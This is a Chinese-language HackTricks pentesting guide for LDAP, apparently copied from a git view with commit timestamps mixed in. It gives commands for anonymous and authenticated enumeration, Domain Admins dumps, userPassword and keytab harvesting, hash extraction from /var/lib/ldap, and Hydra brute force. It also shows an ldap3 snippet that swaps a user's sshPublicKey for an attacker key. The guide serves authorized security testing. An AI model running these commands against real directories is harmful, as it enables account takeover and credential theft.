hacktricks/network-services-pentesting/pentesting-ldap.md

384 lines
16 KiB
Markdown
Raw Normal View History

# 389, 636, 3268, 3269 - 渗透测试 LDAP
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持 HackTricks 的其他方式:
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>
**LDAP**(轻量级目录访问协议)的使用主要是为了在公共和私人网络中定位各种实体,如组织、个人和资源(如文件和设备)。与其前身 DAP 相比LDAP 提供了一种更简化的方法,代码占用空间更小。
LDAP 目录被结构化以允许它们分布在多个服务器上每个服务器都有一个称为目录系统代理DSA的**复制**和**同步**版本的目录。处理请求的责任完全由 LDAP 服务器承担,它可能根据需要与其他 DSA 通信,以向请求者提供统一的响应。
LDAP 目录的组织类似于**树形层次结构,从顶部的根目录开始**。这向下分支到国家,进一步分为组织,然后到代表各个部门或部门的组织单位,最终达到个体实体级别,包括人员和共享资源,如文件和打印机。
**默认端口:**389 和 636ldaps。全局目录ActiveDirectory 中的 LDAP默认在端口 3268 上提供LDAPS 则在端口 3269 上提供。
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
### LDAP数据交换格式
LDIFLDAP数据交换格式将目录内容定义为一组记录。它还可以表示更新请求添加、修改、删除、重命名
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
* 第1-3行定义了顶级域local
* 第5-8行定义了第一级域moneycorpmoneycorp.local
* 第10-16行定义了2个组织单位dev和sales
* 第18-26行创建了一个域对象并分配了带有值的属性
2023-08-03 19:12:22 +00:00
## 写入数据
请注意,如果您可以修改值,您可能能够执行非常有趣的操作。例如,想象一下,您**可以更改您的用户或任何用户的"sshPublicKey"信息**。如果存在这个属性,那么**ssh很可能正在从LDAP读取公钥**。如果您可以修改用户的公钥,您**将能够以该用户的身份登录即使在ssh中未启用密码身份验证**。
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
2022-10-05 21:51:12 +00:00
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
2022-10-05 21:51:12 +00:00
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## 拦截明文凭证
如果LDAP在没有SSL的情况下使用您可以在网络中**拦截明文凭证**。
2022-10-05 21:51:12 +00:00
此外您可以在LDAP服务器和客户端之间的网络中执行**中间人攻击**。在这里,您可以进行**降级攻击**,使客户端使用**明文凭证**进行登录。
2022-10-05 21:51:12 +00:00
**如果使用SSL**,您可以尝试进行类似于上述提到的**MITM**攻击,但提供一个**伪证书**,如果**用户接受**它,您可以降级认证方法并再次查看凭证。
2022-10-05 21:51:12 +00:00
2023-08-03 19:12:22 +00:00
## 匿名访问
2022-10-05 21:51:12 +00:00
2023-08-03 19:12:22 +00:00
### 绕过TLS SNI检查
根据[**这篇文章**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)只需使用任意域名如company.com访问LDAP服务器他就能够以匿名用户的身份联系LDAP服务并提取信息
```bash
2022-10-05 21:51:12 +00:00
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
2023-08-03 19:12:22 +00:00
### LDAP匿名绑定
[LDAP匿名绑定](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)允许**未经身份验证的攻击者**从域中检索信息,例如完整的用户、组、计算机、用户帐户属性和域密码策略列表。这是一个**传统配置**自Windows Server 2003起只有经过身份验证的用户才被允许发起LDAP请求。\
然而,管理员可能需要**设置特定应用程序以允许匿名绑定**并提供比预期更多的访问权限从而使未经身份验证的用户可以访问AD中的所有对象。
2022-10-05 21:51:12 +00:00
## 有效凭据
2022-10-05 21:51:12 +00:00
如果您有登录LDAP服务器的有效凭据您可以使用以下命令来转储有关域管理员的所有信息
2022-10-05 21:51:12 +00:00
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
2022-10-05 00:11:28 +00:00
```bash
2023-08-03 19:12:22 +00:00
pip3 install ldapdomaindump
2022-10-05 21:51:12 +00:00
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
2022-10-05 00:11:28 +00:00
```
2023-08-03 19:12:22 +00:00
### [暴力破解](../generic-methodologies-and-resources/brute-force.md#ldap)
2022-10-04 23:49:59 +00:00
2023-08-03 19:12:22 +00:00
## 枚举
2022-10-05 21:51:12 +00:00
2023-08-03 19:12:22 +00:00
### 自动化
2022-10-04 23:49:59 +00:00
使用此方法,您将能够查看**公共信息**(如域名)****
2022-10-04 23:49:59 +00:00
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
2022-10-05 21:51:12 +00:00
### Python
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
<details>
<summary>使用Python进行LDAP枚举</summary>
2022-10-05 21:51:12 +00:00
您可以尝试使用Python**带有或不带有凭据枚举LDAP**`pip3 install ldap3`
2022-10-04 23:49:59 +00:00
首先尝试**不带**凭据连接:
2022-10-04 23:49:59 +00:00
```bash
>>> import ldap3
2022-10-05 21:51:12 +00:00
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
2022-10-04 23:49:59 +00:00
>>> connection.bind()
True
2022-10-05 21:51:12 +00:00
>>> server.info
2022-10-04 23:49:59 +00:00
```
如果响应为 `True`,就像前面的示例一样,您可以从 LDAP 服务器中获取一些**有趣的数据**(如**命名上下文**或**域名**
2022-10-05 21:51:12 +00:00
```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
2023-08-03 19:12:22 +00:00
Naming contexts:
2022-10-05 21:51:12 +00:00
dc=DOMAIN,dc=DOMAIN
```
一旦您获得命名上下文,您可以进行一些更令人兴奋的查询。这个简单的查询应该向您显示目录中的所有对象:
2022-10-05 21:51:12 +00:00
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
或者**转储**整个ldap
2022-10-04 23:49:59 +00:00
```bash
2022-10-05 21:51:12 +00:00
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
2022-10-04 23:49:59 +00:00
```
2022-10-05 21:51:12 +00:00
</details>
2022-10-04 23:49:59 +00:00
2022-10-05 21:51:12 +00:00
### windapsearch
2022-10-04 23:49:59 +00:00
[**Windapsearch**](https://github.com/ropnop/windapsearch) 是一个使用 LDAP 查询来枚举 Windows 域中的用户、组和计算机的 Python 脚本。
2022-10-04 23:49:59 +00:00
```bash
2022-10-05 21:51:12 +00:00
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
2022-10-04 23:49:59 +00:00
```
2022-10-05 21:51:12 +00:00
### ldapsearch
检查空凭据或您的凭据是否有效:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```
```bash
2022-05-01 12:49:36 +00:00
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
2023-08-03 19:12:22 +00:00
tion a successful bind must be completed on the connection., data 0, v3839
```
如果发现有关“_bind必须完成_”的内容意味着凭据不正确。
您可以使用以下方法提取**域中的所有内容**
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
2022-07-13 14:08:05 +00:00
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```
2023-08-03 19:12:22 +00:00
提取**用户**
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
提取**计算机**
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
2023-08-03 19:12:22 +00:00
提取**我的信息**
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
提取 **Domain Admins**
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
2023-08-03 19:12:22 +00:00
提取**域用户**
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
提取**Enterprise Admins**
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
提取 **Administrators**:
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
提取**远程桌面组**
```bash
2022-07-13 14:08:05 +00:00
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
要查看是否有访问密码您可以在执行以下查询之后使用grep
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
2022-05-01 13:25:53 +00:00
#### pbis
您可以从这里下载**pbis**[https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/),通常安装在`/opt/pbis`目录中。\
**Pbis**允许您轻松获取基本信息:
```bash
2021-01-19 17:57:39 +00:00
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
2021-01-06 00:15:17 +00:00
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
2021-01-06 00:15:17 +00:00
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
2023-08-03 19:12:22 +00:00
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
```
2023-08-03 19:12:22 +00:00
## 图形界面
2022-05-01 13:25:53 +00:00
### Apache Directory
2020-09-13 20:20:14 +00:00
[**从这里下载Apache Directory**](https://directory.apache.org/studio/download/download-linux.html)。您可以在[这里找到如何使用此工具的示例](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s)。
2020-09-13 20:20:14 +00:00
2022-05-01 13:25:53 +00:00
### jxplorer
2020-09-13 20:20:14 +00:00
您可以在此处下载带有LDAP服务器的图形界面[http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
默认安装在_/opt/jxplorer_
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (22) (1).png>)
### Godap
您可以在[https://github.com/Macmod/godap](https://github.com/Macmod/godap)访问它
## 通过kerberos进行身份验证
使用`ldapsearch`,您可以通过使用参数`-Y GSSAPI`来**对kerberos进行身份验证**,而不是通过**NTLM**进行身份验证
2022-05-01 13:25:53 +00:00
## POST
如果您可以访问包含数据库的文件可能在_/var/lib/ldap_中。您可以使用以下方法提取哈希值
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
2023-08-03 19:12:22 +00:00
### 配置文件
* 通用
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
* IBM SecureWay V3 服务器
* V3.sas.oc
* Microsoft Active Directory 服务器
* msadClassesAttrs.ldif
* Netscape Directory Server 4
2023-08-03 19:12:22 +00:00
* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
* OpenLDAP 目录服务器
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
* Sun ONE Directory Server 5.1
2023-08-03 19:12:22 +00:00
* 75sas.ldif
```
2021-08-12 13:06:00 +00:00
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
2021-08-15 17:52:05 +00:00
Entry_1:
2023-08-03 19:12:22 +00:00
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
2021-08-15 17:52:05 +00:00
2023-08-03 19:12:22 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-ldap
2021-08-15 17:52:05 +00:00
Entry_2:
2023-08-03 19:12:22 +00:00
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
2021-08-15 17:52:05 +00:00
Entry_3:
2023-08-03 19:12:22 +00:00
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
2021-08-15 17:52:05 +00:00
Entry_4:
2023-08-03 19:12:22 +00:00
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
2021-08-15 17:52:05 +00:00
Entry_5:
2023-08-03 19:12:22 +00:00
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
2021-09-13 15:45:07 +00:00
Entry_6:
2023-08-03 19:12:22 +00:00
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
2021-08-12 13:06:00 +00:00
```
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
其他支持HackTricks的方式
2022-04-28 16:01:33 +00:00
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>